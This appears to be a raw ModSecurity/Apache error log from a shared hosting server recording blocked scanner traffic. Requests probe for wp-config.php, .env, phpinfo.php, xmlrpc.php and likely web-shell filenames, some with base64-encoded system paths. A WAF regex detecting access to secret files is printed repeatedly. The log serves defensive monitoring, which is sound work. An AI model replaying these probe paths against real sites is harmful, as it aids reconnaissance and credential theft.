191.233.234.186:44758] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/atomlib.php"] [unique_id "ai3w3ymiP80klyS0Nnrn1QAAAS8"] [Sat Jun 13 18:07:59.194098 2026] [security2:error] [pid 531155:tid 531355] [client 191.234.188.123:37932] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/d.php"] [unique_id "ai3w3ymiP80klyS0Nnrn2QAAAVA"] [Sat Jun 13 18:07:59.199998 2026] [access_compat:error] [pid 531155:tid 531278] [remote 57.141.14.105:38498] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:59.200274 2026] [access_compat:error] [pid 531155:tid 531278] [remote 57.141.14.105:38498] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:59.222604 2026] [access_compat:error] [pid 531797:tid 531886] [remote 57.141.14.30:33376] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:59.222887 2026] [access_compat:error] [pid 531797:tid 531886] [remote 57.141.14.30:33376] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:59.225207 2026] [security2:error] [pid 531797:tid 531972] [remote 31.24.44.107:54198] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 107.44.24.31.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "hy-initiative.com"] [uri "/wp-login.php"] [unique_id "ai3w38TA7b1mZrmcA-8M1wACK2s"], referer: https://hy-initiative.com/wp-login.php [Sat Jun 13 18:07:59.250364 2026] [access_compat:error] [pid 531797:tid 531904] [remote 57.141.14.11:49249] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:59.250643 2026] [access_compat:error] [pid 531797:tid 531904] [remote 57.141.14.11:49249] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:59.320794 2026] [security2:error] [pid 531797:tid 531908] [remote 57.141.14.98:29830] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 98.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3w38TA7b1mZrmcA-8M2wACkiw"], referer: https://nelsonfarmstn.com/shop/?add_to_wishlist=513&_wpnonce=dacad5c21f&add-to-cart=386 [Sat Jun 13 18:07:59.423523 2026] [access_compat:error] [pid 531155:tid 531195] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly91c3IvbGliZXhlYw== [Sat Jun 13 18:07:59.423800 2026] [access_compat:error] [pid 531155:tid 531195] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly91c3IvbGliZXhlYw== [Sat Jun 13 18:07:59.482528 2026] [security2:error] [pid 531797:tid 532052] [client 91.92.42.86:35124] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "guu.rog.mybluehost.me"] [uri "/wp-config.php"] [unique_id "ai3w38TA7b1mZrmcA-8M4QAAAko"], referer: http://guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.489433 2026] [security2:error] [pid 531797:tid 532097] [client 91.92.42.86:35130] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "guu.rog.mybluehost.me"] [uri "/config.php"] [unique_id "ai3w38TA7b1mZrmcA-8M4wAAAnY"], referer: http://guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.506909 2026] [access_compat:error] [pid 531797:tid 531954] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNDcxOTc3L25ldA== [Sat Jun 13 18:07:59.507187 2026] [access_compat:error] [pid 531797:tid 531954] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNDcxOTc3L25ldA== [Sat Jun 13 18:07:59.520598 2026] [security2:error] [pid 531797:tid 532038] [client 20.29.78.145:59335] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 145.78.29.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "sxo.tcq.mybluehost.me"] [uri "/8.php"] [unique_id "ai3w38TA7b1mZrmcA-8M5wAAAj0"] [Sat Jun 13 18:07:59.523385 2026] [security2:error] [pid 531155:tid 531316] [client 91.92.42.86:35132] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "guu.rog.mybluehost.me"] [uri "/phpinfo.php"] [unique_id "ai3w3ymiP80klyS0Nnrn4QAAASk"], referer: http://guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.537326 2026] [security2:error] [pid 531155:tid 531383] [client 91.92.42.86:35140] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "guu.rog.mybluehost.me"] [uri "/info.php"] [unique_id "ai3w3ymiP80klyS0Nnrn4wAAAWw"], referer: http://guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.560460 2026] [access_compat:error] [pid 531155:tid 531160] [remote 57.141.14.5:44429] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:59.560794 2026] [access_compat:error] [pid 531155:tid 531160] [remote 57.141.14.5:44429] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:59.572669 2026] [access_compat:error] [pid 531155:tid 531243] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:07:59.573096 2026] [access_compat:error] [pid 531155:tid 531243] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:07:59.589100 2026] [security2:error] [pid 531797:tid 531952] [remote 17.241.219.77:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w38TA7b1mZrmcA-8M7gACfVg"] [Sat Jun 13 18:07:59.614143 2026] [security2:error] [pid 531797:tid 532053] [client 91.92.42.86:35196] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.guu.rog.mybluehost.me"] [uri "/info.php"] [unique_id "ai3w38TA7b1mZrmcA-8M8QAAAks"], referer: http://autodiscover.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.615604 2026] [security2:error] [pid 531797:tid 532109] [client 91.92.42.86:35200] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.guu.rog.mybluehost.me"] [uri "/phpinfo.php"] [unique_id "ai3w38TA7b1mZrmcA-8M8gAAAoI"], referer: http://autodiscover.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.705060 2026] [security2:error] [pid 531797:tid 532100] [client 91.92.42.86:35214] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.guu.rog.mybluehost.me"] [uri "/phpinfo.php"] [unique_id "ai3w38TA7b1mZrmcA-8M9wAAAnk"], referer: http://cpanel.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.712837 2026] [security2:error] [pid 531797:tid 532111] [client 91.92.42.86:35246] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cpanel.guu.rog.mybluehost.me"] [uri "/___proxy_subdomain_cpanel/.env"] [unique_id "ai3w38TA7b1mZrmcA-8M_QAAAoQ"], referer: http://cpanel.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.720466 2026] [security2:error] [pid 531797:tid 532061] [client 91.92.42.86:35260] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.guu.rog.mybluehost.me"] [uri "/wp-config.php"] [unique_id "ai3w38TA7b1mZrmcA-8M_gAAAlM"], referer: http://autodiscover.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.739678 2026] [security2:error] [pid 531797:tid 532120] [client 91.92.42.86:35264] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.guu.rog.mybluehost.me"] [uri "/config.php"] [unique_id "ai3w38TA7b1mZrmcA-8NAQAAAow"], referer: http://autodiscover.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.761804 2026] [security2:error] [pid 531797:tid 532027] [client 91.92.42.86:35278] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "autodiscover.guu.rog.mybluehost.me"] [uri "/.env"] [unique_id "ai3w38TA7b1mZrmcA-8NBAAAAjM"], referer: http://autodiscover.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.774951 2026] [security2:error] [pid 531797:tid 532068] [client 91.92.42.86:35298] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.guu.rog.mybluehost.me"] [uri "/wp-config.php"] [unique_id "ai3w38TA7b1mZrmcA-8NCQAAAlo"], referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.778740 2026] [security2:error] [pid 531797:tid 532050] [client 91.92.42.86:35308] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.guu.rog.mybluehost.me"] [uri "/wp-config.php"] [unique_id "ai3w38TA7b1mZrmcA-8NCgAAAkg"], referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.785276 2026] [security2:error] [pid 531797:tid 532079] [client 91.92.42.86:35318] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.guu.rog.mybluehost.me"] [uri "/phpinfo.php"] [unique_id "ai3w38TA7b1mZrmcA-8NDAAAAmU"], referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.811682 2026] [security2:error] [pid 531155:tid 531341] [client 91.92.42.86:35334] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.guu.rog.mybluehost.me"] [uri "/info.php"] [unique_id "ai3w3ymiP80klyS0Nnrn7gAAAUI"], referer: http://cpanel.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.812122 2026] [security2:error] [pid 531155:tid 531328] [client 91.92.42.86:35336] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.guu.rog.mybluehost.me"] [uri "/config.php"] [unique_id "ai3w3ymiP80klyS0Nnrn7wAAATU"], referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.818556 2026] [security2:error] [pid 531797:tid 532005] [client 172.56.168.133:45121] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3w38TA7b1mZrmcA-8NDwAAAh0"] [Sat Jun 13 18:07:59.822532 2026] [proxy:error] [pid 531797:tid 532031] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:07:59.822621 2026] [proxy_http:error] [pid 531797:tid 532031] [client 91.92.42.86:35344] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.823059 2026] [security2:error] [pid 531797:tid 532005] [client 172.56.168.133:45121] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3w38TA7b1mZrmcA-8NDwAAAh0"] [Sat Jun 13 18:07:59.823328 2026] [proxy:error] [pid 531797:tid 532031] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:07:59.823376 2026] [proxy_http:error] [pid 531797:tid 532031] [client 91.92.42.86:35344] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.837463 2026] [proxy:error] [pid 531797:tid 532047] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:07:59.837545 2026] [proxy_http:error] [pid 531797:tid 532047] [client 91.92.42.86:35346] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.839753 2026] [proxy:error] [pid 531797:tid 532047] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:07:59.839846 2026] [proxy_http:error] [pid 531797:tid 532047] [client 91.92.42.86:35346] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.851932 2026] [security2:error] [pid 531797:tid 532075] [client 91.92.42.86:35246] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.guu.rog.mybluehost.me"] [uri "/wp-config.php"] [unique_id "ai3w38TA7b1mZrmcA-8NFgAAAmE"], referer: http://cpanel.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.860234 2026] [security2:error] [pid 531155:tid 531411] [client 91.92.42.86:35390] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.guu.rog.mybluehost.me"] [uri "/phpinfo.php"] [unique_id "ai3w3ymiP80klyS0Nnrn9AAAAYg"], referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.864262 2026] [proxy:error] [pid 531155:tid 531399] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:07:59.864361 2026] [proxy_http:error] [pid 531155:tid 531399] [client 91.92.42.86:35374] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.864639 2026] [proxy:error] [pid 531797:tid 532093] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:07:59.864765 2026] [proxy_http:error] [pid 531797:tid 532093] [client 91.92.42.86:35400] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.865177 2026] [proxy:error] [pid 531155:tid 531399] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:07:59.865230 2026] [proxy_http:error] [pid 531155:tid 531399] [client 91.92.42.86:35374] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.866615 2026] [proxy:error] [pid 531797:tid 532093] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:07:59.866685 2026] [proxy_http:error] [pid 531797:tid 532093] [client 91.92.42.86:35400] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.879616 2026] [security2:error] [pid 531797:tid 532091] [client 91.92.42.86:35410] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.guu.rog.mybluehost.me"] [uri "/config.php"] [unique_id "ai3w38TA7b1mZrmcA-8NGgAAAnA"], referer: http://cpanel.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.899439 2026] [security2:error] [pid 531797:tid 532115] [client 91.92.42.86:35430] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cpcontacts.guu.rog.mybluehost.me"] [uri "/___proxy_subdomain_cpcontacts/.env"] [unique_id "ai3w38TA7b1mZrmcA-8NGwAAAog"], referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.907754 2026] [security2:error] [pid 531155:tid 531401] [client 172.171.3.232:35016] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/ax.php"] [unique_id "ai3w3ymiP80klyS0Nnrn-QAAAX4"] [Sat Jun 13 18:07:59.916384 2026] [security2:error] [pid 531797:tid 532102] [client 191.234.188.123:63832] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/wp-the1.php"] [unique_id "ai3w38TA7b1mZrmcA-8NHQAAAns"] [Sat Jun 13 18:07:59.923309 2026] [proxy:error] [pid 531797:tid 532059] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:07:59.923403 2026] [proxy_http:error] [pid 531797:tid 532059] [client 91.92.42.86:35440] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.924689 2026] [proxy:error] [pid 531797:tid 532059] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:07:59.924752 2026] [proxy_http:error] [pid 531797:tid 532059] [client 91.92.42.86:35440] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.936490 2026] [security2:error] [pid 531797:tid 532052] [client 91.92.42.86:35456] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.guu.rog.mybluehost.me"] [uri "/info.php"] [unique_id "ai3w38TA7b1mZrmcA-8NHwAAAko"], referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.941981 2026] [proxy:error] [pid 531797:tid 532016] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:07:59.942045 2026] [proxy_http:error] [pid 531797:tid 532016] [client 91.92.42.86:35472] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.942123 2026] [proxy:error] [pid 531797:tid 532038] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:07:59.942176 2026] [proxy_http:error] [pid 531797:tid 532038] [client 91.92.42.86:35482] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.942824 2026] [proxy:error] [pid 531797:tid 532016] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:07:59.942850 2026] [proxy_http:error] [pid 531797:tid 532016] [client 91.92.42.86:35472] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.942982 2026] [proxy:error] [pid 531797:tid 532038] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:07:59.943018 2026] [proxy_http:error] [pid 531797:tid 532038] [client 91.92.42.86:35482] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.953375 2026] [security2:error] [pid 531797:tid 532015] [client 91.92.42.86:35504] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.guu.rog.mybluehost.me"] [uri "/config.php"] [unique_id "ai3w38TA7b1mZrmcA-8NIwAAAic"], referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:07:59.953889 2026] [security2:error] [pid 531797:tid 532062] [client 91.92.42.86:35498] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.guu.rog.mybluehost.me"] [uri "/info.php"] [unique_id "ai3w38TA7b1mZrmcA-8NJQAAAlQ"], referer: 